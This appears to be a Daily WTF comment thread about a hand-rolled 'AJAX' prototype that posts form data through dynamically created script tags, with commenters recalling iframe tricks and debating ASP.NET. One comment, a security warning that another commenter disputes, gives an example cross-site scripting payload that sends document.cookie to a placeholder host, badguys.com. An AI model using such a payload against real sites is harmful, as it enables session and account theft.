Comment On Reinventing the Web

Bah. Ajax. :-(

1st post lmao
super funny this is

:P

Yeesh. It's not like basic AJAX is even HARD!

So if it doesn't return Javascript, how does it return something, if at all?

It probably performs some sort of telepathy with the computer user, you know flashing lights or something.

That script trick has actually been a popular way of doing that before people knew about the XMLHTTPRequest or how to use JSON. I did that once or twice in my day, and it actually can be done in a very elegant way.

Granted, that code is still awfully ugly and definitely not the way it should've been done.

The real WTF is that he wanted to have the AJAX done by hand, rather than using one of the many AJAX frameworks out there. Then they could have interfaced the screen code with the backend on the serverside.

If you generate code by hand which should be generated by machine, you're just asking for this sort of thing.

Honestly, not the craziest implementation of AJAX (not the most straight forward, either). This is clearly the result of miscommunication.

And, as the article says, this was simply the prototype. It seems like this friend did not fully understant some fundamental programming practices, but neither do the people in some heigh-end software packages.

The real WTF is how prototype code often gets implemented into live code because the investors see a working product and don't understand why anyone would bother re-writing something that already works.

Dim:

<snip>
The real WTF is how prototype code often gets implemented into live code because the investors see a working product and don't understand why anyone would bother re-writing something that already works.

This doesn't appear to be a WTF to those unfortunates that are born without a human soul, or as I like to call them "accountants"

Dim:

The real WTF is how prototype code often gets implemented into live code because the investors see a working product and don't understand why anyone would bother re-writing something that already works.

That's why I always call it a mock-up and not a prototype.

well, if the developer needed to submit the form to a different domain without a page refresh, that would actually be the only way to do it. Granted, the code could be cleaner, but not a WTF.

Actually... this is an alternative method of AJAX from "the early days" before any of the other browsers supported the XMLHTTP API.

Worked, but required a very steady thounge, and easily blows up. Just like we're used to the web [not] working :)

For every [possible | imaginable] crap there's someone who actually codes it...

Er, "thounge"?

gwenhwyfaer:

Er, "thounge"?

A tongue lounge. Duh.

I prefer writing code by hand when I'm learning something. I never would have had a clue what the purpose or concept of AJAX and ATLAS were if I hadn't written some AJAX functionality in PHP. I think I would have found it confusing to differentiate between VS.Net's postback "magic" and actual AJAX. Maybe I'm just stupid though. Perhaps?

Oh my sweet, weeping, baby Jesus...

This fool didn't even google "AJAX" before he started making assumptions and generating headaches for other people. His village must definitely be hot on the trail of their lost idiot now.

And to think, he did this to a friend...

I like how both the form id is "form" and the submit button's name is also "form". Reminds me of when I use to name my submit button "submit" and then wonder why I can't call form.submit() in javascript.

Captcha: kungfu

I have a feeling that might cause JS parse errors.

Er, that is assuming that the JS was even run at all.

There's nothing wrong in implementing AJAX code by hand, as long as you know what you're doing and you're very careful and precise about it. But this?
The real WTF is that he was trying to reinvent the wheel. Who needs the old way, when the XMLHttp component is in almost any of the commonly user browsers.

On a sideline I wonder if here was wondering about managing JS in different browsers. Probably then the rest of the code would be a nightmare. ;P

CAPTCHA: bling (but you're not going to get rich on that sort of code)

Well, it's not exactly AJAX, sure - it's "AJ" I guess. Technically I think the trick is called dynamic javascript.

One thing - it doesn't really matter that the PHP doesn't return javascript. If it would be better if it did, but to correctly implement the dynamically added script tag - you need additional code because many browsers won't run the newly added code through any engine. It's there - but it doesn't know what to do with it.

Actually, I've written a web app which uses dynamic javascript instead of AJAX as an exercise. It works pretty well, for the most part. It's simpler and arguably faster than an AJAX setup - but not quite as robust and prone to ... weirdness.

The way I did "AJAX" before the acronym existed was with IFRAMEs. Load the document in the IFRAME and let some Javascript in the IFRAME update the main page.

And what do you know? It's worked perfectly every time. A bit messy code-wise, but it did the trick.

There is simply no end to what somebody with a bit of imagination can do with AJAX

Disiance:

The way I did "AJAX" before the acronym existed was with IFRAMEs. Load the document in the IFRAME and let some Javascript in the IFRAME update the main page.

And what do you know? It's worked perfectly every time. A bit messy code-wise, but it did the trick.

Yeees, I did exactly this as well, it was AWESOME, and it was clear for everyone to see how it was awesome, and then some guys came up with this AJAX thingy, and whatever I had achieved was no longer impressive :(

Imho, the WC3 sould hire the Warhammer 40.000 imperial uberlegions to cleanup the internet from teh evil legions and the spawns of disformity space.

VILEST *ever* use of _action_ field.

abx:

Disiance:

The way I did "AJAX" before the acronym existed was with IFRAMEs. Load the document in the IFRAME and let some Javascript in the IFRAME update the main page.

And what do you know? It's worked perfectly every time. A bit messy code-wise, but it did the trick.

Yeees, I did exactly this as well, it was AWESOME, and it was clear for everyone to see how it was awesome, and then some guys came up with this AJAX thingy, and whatever I had achieved was no longer impressive :(

Yup we're getting old

so i guess the "real" WTF is that AJAX /exists/

Hehe, yeah, I used to do the same iframe trick loooooong before anybody heard of ajax :P It didn't have such a cool name, though... :P

There was another neat trick, in addition to IFRAME (well, in conjunction with). HTTP response code 204 would prevent the IFRAME from "ticking" with IE :)

When we did the IFRAME (trick?) one of the first bugs QA reported was a ticking sound - I guess I can cross one off the list!

So the page dynamically creates javascript whose source supposedly resides at send.php (which doesn't return javascript.) Brillant!!!!!!

On the positive, at least he knows why the form value is submitted as a GET.

He also forgot to escape his input before he passed it back to the browser:

var url = "send.php?msg=" + text;

What happens when text="<script>location.href='badguys.com/catch.cgi?c='+document.cookie;</script>"

I worked on a site that did the same thing. Hm, never thought of it as proto-AJAX before. Now I can brag that I was doing AJAX before it had a name!

I love reading WTFs like this because they show me that I am not as incompetent as I sometimes think I am.

(CAPTCHA: riaa, which I think is Norwegian for "bilk")

bleep:

I like how both the form id is "form" and the submit button's name is also "form". Reminds me of when I use to name my submit button "submit" and then wonder why I can't call form.submit() in javascript.

Captcha: kungfu

I still keep running across places where the submit button is named "submit". And then the form compares the text value of the submit button to tell what button was pushed. Was there a bad tutorial or something out there that taught people to do this?

In case there's someone reading who doesn't get it.... Give your submit buttons unique name attributes and use that to test in your server side code, and let the value be just descriptive text in whatever language. Stop making me read your bad code! ;)

BUT his code will work in Netscape 4x!

Farst!

Actually, you are the third, sir!

CAPTCHA: Pointer. You have to check yours.

WIldpeaks:

abx:

Disiance:

The way I did "AJAX" before the acronym existed was with IFRAMEs. Load the document in the IFRAME and let some Javascript in the IFRAME update the main page.

And what do you know? It's worked perfectly every time. A bit messy code-wise, but it did the trick.

Yeees, I did exactly this as well, it was AWESOME, and it was clear for everyone to see how it was awesome, and then some guys came up with this AJAX thingy, and whatever I had achieved was no longer impressive :(

Yup we're getting old

And before IFRAMEs were there, I was doing it through a frameset with the second frame height=0 so it wouldn't be seen... back in 1996/97...

Its not as bad as the ASP way... put the whole page in a <form> and get links to POST the form, it has something to-do with a "view state", or some such rubbish.

Can anyone defend ASP's madness with its breaking of non JS browsers (like Google)?

Security Guy:

He also forgot to escape his input before he passed it back to the browser:

var url = "send.php?msg=" + text;

What happens when text="<script>location.href='badguys.com/catch.cgi?c='+document.cookie;</script>"

Sorry but I don't quite see this security hole there... I'd agree with you if he created the SCRIPT tag using document.write (which doesn't work) or if the server side script would just send back the msg parameter without any processing (which wouldn't make sense).
But as far as I know, all strings that are passed to DOM objects are treated as simple text, not as HTML. So

myScriptNode.src = '<somethingEvil>...</somethingEvil>';

would would be equivalent to

<script src="&lt;somethingEvil&gt;...&lt;/somethingEvil&gt;">

So no injection is possible.

Maybe I did miss something?

In order to defend it, you need to take it for what it is. What ASP.NET is doing is more or less reinventing the web, and to a much greater extent than this little AJAX mockup, too. Microsoft never claimed that the ASP.NET way would produce the best end-user result. On the contrary, bandwidth is likely to be increased. No, ASP.NET is made for enterprise solutions, and main priority is maintainability.

ASP.NET is like a wrapper for the web. It doesn't allow you to make webpages in the manner you might be used to. The idea is to make the usage almost completely identical to that of developing a windows application. You don't do <input type="submit">, you do <asp:Button />, and then .NET gives it a unique ID, and manages it, you don't have to think of a thing. From your serverside, you can detect a click event of your asp:Button. You fetch values from myTextbox.Text, etc, instead of bothering with fetching POST data yourself. The result is not ideal, but it is extremely efficient while developing. I wouldn't consider using any other environment if working on a big enterprisey project.

Addendum (2007-01-30 18:03):
EDIT: Something went wrong, apparently. This was meant to quote Craigs comment two posts up.

It's creating a <script> tag with a href, basically using the <script> mechanism to remotely include scripts (that are not scripts) to serve as the ajax mechanism.

It's weird, but hey I guess if it works. It propably spawns a whole lot of javascript errors though.

Why doesn't he just set action="send.php" and remove all this javascript?
And why all of you discuss the way of implementing AJAX here and not the usage of action attribute?
Am I missing something?
[despite the fact of web2.0 reign]

qbolec:

Why doesn't he just set action="send.php" and remove all this javascript?
And why all of you discuss the way of implementing AJAX here and not the usage of action attribute?
Am I missing something?
[despite the fact of web2.0 reign]

Yes, you are indeed missing something. There's nothing AJAX about sending the data directly to send.php. Doncha know what AJAX is? It's sending stuff to server with javascript, not forms! It's so Web 2.0!!! (Actually I loathe the whole Web 2.0 concept. Wtf is it supposed to be anyway, other than "usability, shmusability! As long as it looks super cool and has lots of javascript and flash and buzzwords.")

I can see only three WTF's in this post:

* The poster obviously doesn't know anything about the topic, and the domain-specific problems, so the post is a huge WTF in itself.

* The JS<->PHP communication problems arise at the server side, so they're probably due to a lack of analysis and cooperation. The PHP author didn't know, and didn't ask for what he wanted, and so he got what he didn't ask for. There's clearly a WTF inside the requirements.

* And finally, if he asked his friend to give him some at-least-working-code-samples, WhyTF he expected that to be production-ready? There's a difference to hire someone and merely to ask for a hand.

There are cases when you don't want to reload the page after a minor operation. Dynamic updates and communication behind the curtain are concepts much older than all this Web2.0alpha hype.

What i'm really missing here, is graceful degradation. The form should have action="send.php" and onsubmit="doSubmitAndUpdateSomeParts".

Then it should make you happy ;]

gsm:

* And finally, if he asked his friend to give him some at-least-working-code-samples, WhyTF he expected that to be production-ready? There's a difference to hire someone and merely to ask for a hand.

...and when he received some funny-looking samples from his <em>friend</em>, instead of asking his <em>friend</em> to explain it, he posted it on TDWTF.

...and if he had asked, he would have been told that it is an established technique from pre-AJAX days (if what we read here is to be believed).

Hmm.... not being familiar with AJAX or Php, I don't see the WTFedness in this article at all.

There's at least one good reason to use the script tag hack. With AJAX and IFRAMEs, you're bound by the Same Origin Policy (i.e. the client-side script can only communicate with the server it originated from). Dynamic SCRIPT tags have no such limitation.

Maybe we need the real date of the source
before we nominate it a WTF